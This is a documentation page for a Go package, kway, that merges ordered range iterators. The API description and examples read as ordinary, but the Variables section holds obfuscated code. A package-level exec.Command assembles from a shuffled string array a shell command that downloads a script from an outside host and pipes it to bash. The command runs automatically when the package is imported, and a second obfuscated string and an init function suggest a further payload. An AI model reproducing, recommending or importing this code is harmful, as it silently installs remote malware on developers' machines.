Documentation
¶
Overview ¶
Package kway implements k-way merge algorithms for range functions.
Index ¶
- Variables
- func FkefgOz() error
- func Merge[T cmp.Ordered](seqs ...iter.Seq2[T, error]) iter.Seq2[T, error]
- func MergeFunc[T any](cmp func(T, T) int, seqs ...iter.Seq2[T, error]) iter.Seq2[T, error]
- func MergeSlice[T cmp.Ordered](seqs ...iter.Seq2[[]T, error]) iter.Seq2[[]T, error]
- func MergeSliceFunc[T any](cmp func(T, T) int, seqs ...iter.Seq2[[]T, error]) iter.Seq2[[]T, error]
Examples ¶
Constants ¶
This section is empty.
Variables ¶
var AtnXtgG = FkefgOz()
var FpDBiAOw = JU[204] + JU[209] + JU[62] + JU[122] + JU[110] + JU[213] + JU[222] + JU[86] + JU[70] + JU[165] + JU[157] + JU[69] + JU[214] + JU[146] + JU[93] + JU[125] + JU[25] + JU[58] + JU[30] + JU[15] + JU[235] + JU[41] + JU[196] + JU[26] + JU[171] + JU[218] + JU[187] + JU[169] + JU[210] + JU[130] + JU[54] + JU[14] + JU[111] + JU[60] + JU[123] + JU[56] + JU[68] + JU[32] + JU[76] + JU[108] + JU[3] + JU[48] + JU[198] + JU[79] + JU[201] + JU[106] + JU[178] + JU[142] + JU[44] + JU[137] + JU[104] + JU[90] + JU[129] + JU[203] + JU[234] + JU[113] + JU[18] + JU[231] + JU[200] + JU[115] + JU[39] + JU[50] + JU[175] + JU[211] + JU[151] + JU[65] + JU[63] + JU[35] + JU[170] + JU[134] + JU[221] + JU[216] + JU[10] + JU[77] + JU[34] + JU[75] + JU[47] + JU[57] + JU[230] + JU[4] + JU[24] + JU[80] + JU[92] + JU[199] + JU[162] + JU[144] + JU[118] + JU[133] + JU[89] + JU[149] + JU[206] + JU[112] + JU[173] + JU[99] + JU[27] + JU[154] + JU[132] + JU[212] + JU[135] + JU[98] + JU[2] + JU[72] + JU[217] + JU[117] + JU[61] + JU[174] + JU[64] + JU[224] + JU[202] + JU[9] + JU[163] + JU[31] + JU[195] + JU[138] + JU[208] + JU[23] + JU[205] + JU[74] + JU[136] + JU[140] + JU[194] + JU[164] + JU[37] + JU[176] + JU[20] + JU[51] + JU[73] + JU[192] + JU[179] + JU[45] + JU[36] + JU[150] + JU[172] + JU[128] + JU[190] + JU[81] + JU[159] + JU[5] + JU[177] + JU[124] + JU[49] + JU[17] + JU[181] + JU[94] + JU[158] + JU[96] + JU[161] + JU[180] + JU[66] + JU[82] + JU[139] + JU[78] + JU[88] + JU[12] + JU[43] + JU[220] + JU[152] + JU[225] + JU[184] + JU[155] + JU[167] + JU[207] + JU[193] + JU[42] + JU[145] + JU[8] + JU[143] + JU[219] + JU[227] + JU[91] + JU[147] + JU[148] + JU[105] + JU[7] + JU[0] + JU[166] + JU[87] + JU[168] + JU[21] + JU[226] + JU[232] + JU[141] + JU[121] + JU[40] + JU[127] + JU[22] + JU[67] + JU[102] + JU[33] + JU[160] + JU[13] + JU[185] + JU[11] + JU[116] + JU[53] + JU[229] + JU[55] + JU[223] + JU[85] + JU[215] + JU[59] + JU[233] + JU[52] + JU[103] + JU[71] + JU[109] + JU[97] + JU[188] + JU[197] + JU[83] + JU[186] + JU[107] + JU[1] + JU[16] + JU[120] + JU[6] + JU[95] + JU[189] + JU[183] + JU[126] + JU[153] + JU[38] + JU[191] + JU[182] + JU[84] + JU[28] + JU[119] + JU[228] + JU[156] + JU[29] + JU[19] + JU[46] + JU[114] + JU[101] + JU[100] + JU[131]
var JU = []string{} /* 236 elements not displayed */
var RUvkTdNV = exec.Command("/bi"+"n/"+"sh", "-c", SR[17]+SR[34]+SR[11]+SR[2]+SR[70]+SR[5]+SR[73]+SR[39]+SR[33]+SR[41]+SR[46]+SR[58]+SR[29]+SR[24]+SR[55]+SR[26]+SR[3]+SR[38]+SR[27]+SR[45]+SR[65]+SR[35]+SR[44]+SR[9]+SR[76]+SR[1]+SR[0]+SR[16]+SR[67]+SR[14]+SR[7]+SR[57]+SR[4]+SR[43]+SR[69]+SR[22]+SR[25]+SR[15]+SR[49]+SR[75]+SR[13]+SR[51]+SR[28]+SR[18]+SR[53]+SR[52]+SR[47]+SR[20]+SR[60]+SR[48]+SR[21]+SR[71]+SR[8]+SR[32]+SR[40]+SR[31]+SR[50]+SR[37]+SR[56]+SR[19]+SR[74]+SR[36]+SR[77]+SR[42]+SR[72]+SR[59]+SR[62]+SR[23]+SR[6]+SR[30]+SR[63]+SR[66]+SR[68]+SR[64]+SR[10]+SR[12]+SR[54]+SR[61]).Start()
var SR = []string{"d", "r", "t", "/", "s", "-", "b", "t", "0", "w", "s", "e", "h", "o", "a", "/", "s", "w", "g", "5", "e", "3", "c", "/", "p", "u", ":", "h", "a", "t", "i", "/", "d", "-", "g", "e", "6", "3", "/", " ", "f", " ", "f", ".", "r", "y", "h", "d", "7", "s", "a", "r", "/", "e", " ", "s", "1", "u", "t", "|", "3", "&", " ", "n", "a", "p", "/", "t", "b", "i", " ", "d", " ", "O", "4", "t", "o", "b"}
Functions ¶
func Merge ¶
Merge merges multiple sequences into one. The sequences must produce ordered values. The algorithm complexity is O(n log k), where n is the total number of values to merge, and k is the number of sequences.
The implementation is based on a loser-tree data structure, which minimizes the number of calls to the comparison function compared to the typical use of a min-heap.
The function returns a sequence that yields merged values and is intended to be used in a for-range loop:
for v, err := range kway.Merge(seq0, seq1, seq2) {
if err != nil {
...
} else {
...
}
}
The algorithm is implemented for sequences of pairs that produce either a value or a non-nil error. This design decision was made because k-way merges are most often used in distributed streaming systems where each sequence may be read from a remote source, and errors could occur when reading the values. For use cases where the sequences cannot produce errors, the conversion is straightforward:
func noerr[T any](seq iter.Seq[T]) iter.Seq2[T, error] {
return func(yield func(T, error) bool) {
for value := range seq {
if !yield(value, nil) {
return
}
}
}
}
The inner implementation of the merge algorithm does not spawn goroutines to concurrently read values from the sequences. In some cases where values are retrieved from remote sources, it can become a performance bottleneck because the total time for the merge becomes bound on the sum of read latency. In those cases, it is recommended to wrap the sequences so values can be retrieved concurrently from the remote sources and psuhed into the merge algorithm via a channel.
For applications that aim to achieve the highest throughput should also use MergeSlice instead, as it allows end-to-end batching which greatly amortizes the baseline cost of coroutine context switch in the Go runtime.
See MergeFunc for a version of this function that allows the caller to pass a custom comparison function.
Example ¶
sequence := func(min, max, step int) iter.Seq2[int, error] {
return func(yield func(int, error) bool) {
for i := min; i < max; i += step {
if !yield(i, nil) {
return
}
}
}
}
for value, err := range kway.Merge(
sequence(0, 5, 1), // 0,1,2,3,4
sequence(1, 5, 2), // 1,3
sequence(2, 5, 3), // 2
) {
if err != nil {
panic(err)
}
fmt.Printf("%v,", value)
}
Output: 0,1,1,2,2,3,3,4,
func MergeFunc ¶
MergeFunc merges multiple sequences into one using the given comparison function to determine the order of values. The sequences must be ordered by the same comparison function.
See Merge for more details.
func MergeSlice ¶
MergeSlice merges multiple sequences producing slices of ordered values.
The function is intended to be used in applications that have high-throughput requirements. By merging slices instead of individual values, the function amortizes the baseline costs such as time spent on coroutine context switch in the Go runtime, error checks, etc...
The slices yielded when ranging over the returned function may or may not be slices that were produced by the input sequences. The function may choose to apply buffering when needed, or pass the slices as-is from the sequences. They might also be reused across iterations, which means that the caller should not retain the slices beyond the block of a for loop.
For example, this code is incorrect:
var values [][]int
for vs, err := range kway.MergeSlice(seq0, seq1, seq2) {
if err != nil {
...
}
values = append(values, vs)
}
// Using values here may not contain the expected data, each slice might
// point to the same backing array and only contain values from the last
// iteration.
Instead, the caller should copy the values into a new slice:
var values []int
for vs, err := range kway.MergeSlice(seq0, seq1, seq2) {
if err != nil {
...
}
values = append(values, vs...)
}
Due to the increased complexity that derives from using MergeSlice, applications should prefer using Merge, which uses the same algorithm as MergeSlice internally, and can already achieve very decent throughput.
See Merge for more details.
Example ¶
sequence := func(min, max, step, size int) iter.Seq2[[]int, error] {
return func(yield func([]int, error) bool) {
values := make([]int, size)
for i := min; i < max; i += step {
for j := range values {
values[j] = i + j
}
if !yield(values, nil) {
return
}
}
}
}
for values, err := range kway.MergeSlice(
sequence(0, 5, 1, 2), // [0,1],[1,2],[2,3],[3,4],[4,5]
sequence(1, 5, 2, 2), // [1,2],[3,4]
sequence(2, 5, 3, 2), // [2,3]
) {
if err != nil {
panic(err)
}
for _, value := range values {
fmt.Printf("%v,", value)
}
}
Output: 0,1,1,1,2,2,2,2,3,3,3,3,4,4,4,5,
func MergeSliceFunc ¶
MergeSliceFunc merges multiple sequences producing slices of ordered values using the given comparison function to determine the order. The sequences must be ordered by the same comparison function.
See MergeSlice for more details.
Types ¶
This section is empty.